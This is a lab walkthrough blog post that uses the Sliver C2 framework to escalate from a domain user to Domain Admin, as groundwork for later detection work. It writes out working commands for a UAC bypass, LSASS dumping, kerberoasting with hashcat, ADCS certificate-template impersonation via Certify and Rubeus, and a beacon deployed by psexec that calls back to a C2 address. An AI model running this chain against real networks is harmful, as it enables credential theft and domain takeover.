Sliver - Part 2 - Domain User to Domain Admin

Using Sliver and some of the Armory modules to achieve Domain Admin account compromise.

Sliver Attack Chain

Following on from part 1, where we installed Sliver and got a basic HTTP beacon working, we’ll now execute an attack chain that will result in us going from a normal user to compromising a Domain Admin account. The misconfigurations within our research environment are relatively real world and we have not gone out of our way to secure the environment.

As we are not red teamers and are more interested in getting detections through logs or other security controls we do bypass a lot of the hard work such as;

  • EDR - We do not deploy EDR to our research servers for these tests, we expect smarter people to be able to bypass them if required. We do specific EDR testing outside of these types of tests.
  • Initial Access - We did not attempt to mimic the initial access vector for this test. We simply dropped our Sliver beacon to disk and executed as a low privileged user.

Building on publicly available IR reports as well as open-source tools we have built the following attack chain which shows a few ways we can achieve Domain escalation from a normal user. At a high level we will run through these commands/tools to achieve our goal;

whoami /all
net localgroup "administrators"
net group "domain admins" /domain
reg query WDigest
Bypass UAC
Get SYSTEM
Local LSASS Dump
Process LSASS Dump
Kerberoasting
Certificate Abuse
Lateral Movement

Establish Session

We can quickly get our session back up running a Sliver beacon and catching the new session. This will be our jumping off point. Throughout out attack the following hosts and users will show up;

  • SV011-TEST.CORP1.LOCAL - Our initial beacon session is run from this server. It's a fully patched Server 2016 and is just a member of the Domain.
  • SV001-DC.CORP1.LOCAL - Our Primary Domain Controller. This is a fully patched Server 2019
  • normal_user - Domain User account with no special Domain group membership. It is a local admin on SV011-TEST
  • jboss - Domain Admin account we will compromise. This account has been added to the "Protected Users" group

Initial User and Domain Recon

whoami

To start with we will gather details about the user account we have access to. The built in whoami command only returns the username in the current session token and doesn’t give us enough information. Running a proper whoami /all command will give us far more information.

execute -o whoami /all

Some of the items we care about in the below output are;

  • BUILTIN\Administrators - This group membership shows us that the user is part of the local administrators group and that we should be able to escalate our beacon to one running in a local administrator context.
  • BUILTIN\Remote Desktop Users - Shows us that the user is in the local group to allow Remote Desktop Access. If this was the Domain group we may have access to other servers in the environment.
  • Mandatory Label\Medium Mandatory Level - Medium Mandatory Level indicates the process is running with normal user privleges and not administrator (High Mandatory Level) privileges. This means we will need to get an admin beacon somehow to continue our attack.

net localgroup administrators

We can enumerate the local administrator group to see if there are other accounts worth targeting.

execute -o net localgroup "administrators"

Some of the items we care about in the below output are;

  • BUILTIN\Administrators - We can see the normal_user account has been explicitly added to this group but Domain Users is a member of the local admins group, this is less than ideal.

For now we will concentrate on escalating our session using the normal_user account. Once we are local admin this opens up avenues for local password dumping.

net group "domain admins" /domain

We can also enumerate the Domain Admins group to determine other accounts that might be a good target for Kerberoasting or certificate abuse.

execute -o net group "domain admins" /domain

Some of the items we care about in the below output are;

  • Domain Admins - There are 6 accounts who are direct members of the Domain Admins group. We can see one account that looks like it may be a Service account. All of the others look like normal user, ignore hacker.

Now we have some information about our local escalation path and possible Domain accounts to target.

reg query WDigest

There is an almost limitless amount of recon activities we could perform, but lastly we will check the WDigest registry key. This key will allow for plaintext passwords to be kept in LSASS. We could set this once local admin as well, however the server needs a reboot for the setting to come into affect.

execute -o reg query HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest /v UseLogonCredential

We can see below the output for that registry key is 1 this is the vulnerable setting and we should be able to get passwords in clear from LSASS dumps;

Local Admin Escalation

Bypass UAC

We know, due to our group membership enumeration, that the account we have access to is a local admin. This means we will be able to spawn a high privilege session if we can bypass UAC. Fortunately for us even I can bypass UAC using CMSTP. There is a reference to the code used for this as the end of the article. Once you have followed the UAC Bypass article you'll have a nice DLL and the code below to execute it.

[Reflection.Assembly]::Load([IO.File]::ReadAllBytes("$pwd\CMSTP-UAC-Bypass.dll"))
[CMSTPBypass]::Execute("C:\tempy\CONVENIENT_PAPERBACK.exe")

We packaged these 2 commands up into a PowerShell script and dropped it on our compromised asset. We can now use the following from Sliver to attempt an escalation.

execute -o powershell "c:\tempy\sliver_seamless.ps1"

We get a new session callback straight away from our UAC bypass script;

We can see below the new session being used and once again running a whoami /all to confirm our new Mandatory Level. We can see our session is now running in a High Mandatory context which is local admin effectively. Below this there are also significantly more privileges assigned to our session as a result of being local admin. Interestingly for us is the assignment of SeDebugPrivilege which is required for dumping LSASS's process memory.

Get SYSTEM

Getting a sessions in the SYSTEM context is trivial once you have a high privilege session. The built in Sliver command getsystem works a treat and we can see our new session below. There are some specific use cases for using SYSTEM over a local admin account but generally there isn't much difference.

Below now shows our 3 sessions, I'd love if Sliver had a marker for high/medium sessions such as a * but it currently does not.

Now we are ready to attempt some Domain escalations, we will try a few methods such as LSASS dump locally, Certificate abuse and Kerberoasting.

Domain Escalation

Dump LSASS

We’ll start with an oldie but a goodie and dump LSASS using the built in procdump command. We can then parse this out with Mimikatz offline. Due to the WDigest registry key being set to 1 there is a good chance of plaintext passwords we can use further. We’ll start by using ps to list out all the Process ID (PID) values, we can then pass the LSASS PID to procdump

ps

Passing the PID to procdump starts the process and will write the DMP file back to our attacking VM.

procdump -p 628

Using a Python implementation of Mimikatz we can easily parse out the contents of this dump file and see if there are any passwords we can use. As expected due to the WDigest registry key we can see the tboss account’s password. This account we know is a Domain Admin but that would be too easy so let’s try another way.

pypykatz lsa minidump procdump_sv011-test_628_1121800997

Kerberoasting

As a normal member of the Domain User group we can attempt to Kerberoast any accounts that have a Server Principal Name (SPN). If the password for that account is poor quality then we may be able to crack it for access to that account. For this we will use the Rubeus module from Armory. 

rubeus kerberoast

Shown to the right is a single account’s hash, from our earlier enumeration we know this account is part of the Domain Admin group. We got 3 account hashes during our Kerberoasting. We can copy the hash values into a text file and use either John or Hashcat to attempt a bruteforce. 

hashcat -m 13100 krbhashes.txt /usr/share/wordlists/rockyou.txt --force

We could now attempt to use these credentials to move laterally into the Domain. However there is an even better way to escalate ourselves into the Domain abusing certificate templates which we will use to get a new session from a Domain Controller.

Certificate Abuse

Once again as a normal Domain User we can query some information to see if we have a valid attack path. In this case we will look for vulnerable certificate templates that may allow us to impersonate an administrator. In our references is a link to the amazing work done on certificate abuse which helps explain the issue and some remediation steps. 

certify find /vulnerable

Below shows partial output from the tool detailing some configuration for the Certificate Authority (CA) running on SV001-DC;

The real magic is in the Certificate Templates which can be vulnerable by default and offer no warning when created in a vulnerable state. The really important bits here are;

  • CA Name - The name of our Certificate Authority, we'll need to supply this when we request a certificate.
  • Template Name - The name of the Certificate template, we can specify any we like and if the misconfiguration is present we be able to impersonate another user.
  • msPKI-Certificates-Name-Flag - If the setting is ENROLLEE_SUPPLIES_SUBJECT we can supply a Subject Alternate Name which can be a Domain Admin. This is where the real issue starts.
  • Authorized Signatures Required - If this is 0 then the certificate will be auto approved. Just what we want.
  • Enrollment Rights - If Domain User's can enroll they can request a certificate.

With this information we are ready to request a certificate and we may as well try to impersonate a Domain Admin. For this we will pick the jboss account.

certify request /ca:sv001-dc.corp1.local\\corp1-SV001-DC-CA /template:WebServerVuln /altname:jboss

Below we can see the issued certificate in all of its raw glory. We will need to convert this to a PFX file and then use it to request a Kerberos ticket in the name of jboss

Converting the file can be done with the following command;

openssl pkcs12 -in cert.cer -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

Next we will upload our certificate to SV011-TEST so we can use it with Rubeus

upload /mnt/seamless/sliver/cert.pfx
rubeus asktgt /user:jboss /certificate:C:\\Windows\\system32\\cert.pfx

We can see below the ticket being successfully request because we had a certificate that said we were jboss. A Kerberos ticket is far more useful than a certificate in general and we should now be able to use it when authenticating to a Domain Controller.

Lateral Movement

To the DC with PsExec

First we will create a new profile to be used by the built in PsExec command

profiles new --format service --skip-symbols --http 10.1.1.60 seamless2

Now we can use the built in PsExec which will load and execute a Sliver beacon which should give us access directly to the Domain Controller.

psexec -p seamless2 sv001-dc.corp1.local

Below we can see the new session from our PsExec which we can enter and quickly check our privileges. We used the jboss successfully and due to how PsExec works we get a user context of SYSTEM on the DC. Job Done.

shell 
hostname
whoami

Summary

Hopefully that helps show a common attack chain using almost only Sliver and its Armory modules. Lots of time is spent getting used to syntax, PsExec in particular has slightly different syntax in Sliver compared to running in Windows from the SysInternal kit. Overall using Sliver is pretty intuitive and I expect as it becomes more popular there will be even more added to the armory.

Part 3 will be all about detections using Windows Secrity and Sysmon logs, many of the above actions leave significant log artefacts. A sneak peak of the detections that are possible using just Windows logs;

Below are some references used in building and executing this set of tests;

How to bypass UAC in newer Windows versions

https://0x00-0x00.github.io/research/2018/10/31/How-to-bypass-UAC-in-newer-Windows-versions.html
UAC bypass code and instructions. Even I got it working almost first time.

Parsing Creds From Lsass.exe Dumps Using Pypykatz

https://www.stevencampbell.info/Parsing-Creds-From-Lsass.exe-Dumps-Using-Pypykatz/
The Python implementation of Mimikatz. Nice and easy to use in Linux for parsing dump files.

Certified Pre-Owned

https://posts.specterops.io/certified-pre-owned-d95910965cd2
Hugely detailed paper on AD Certificate abuse. Has everything you never knew you needed to know about certificate templates and vulnerabilities.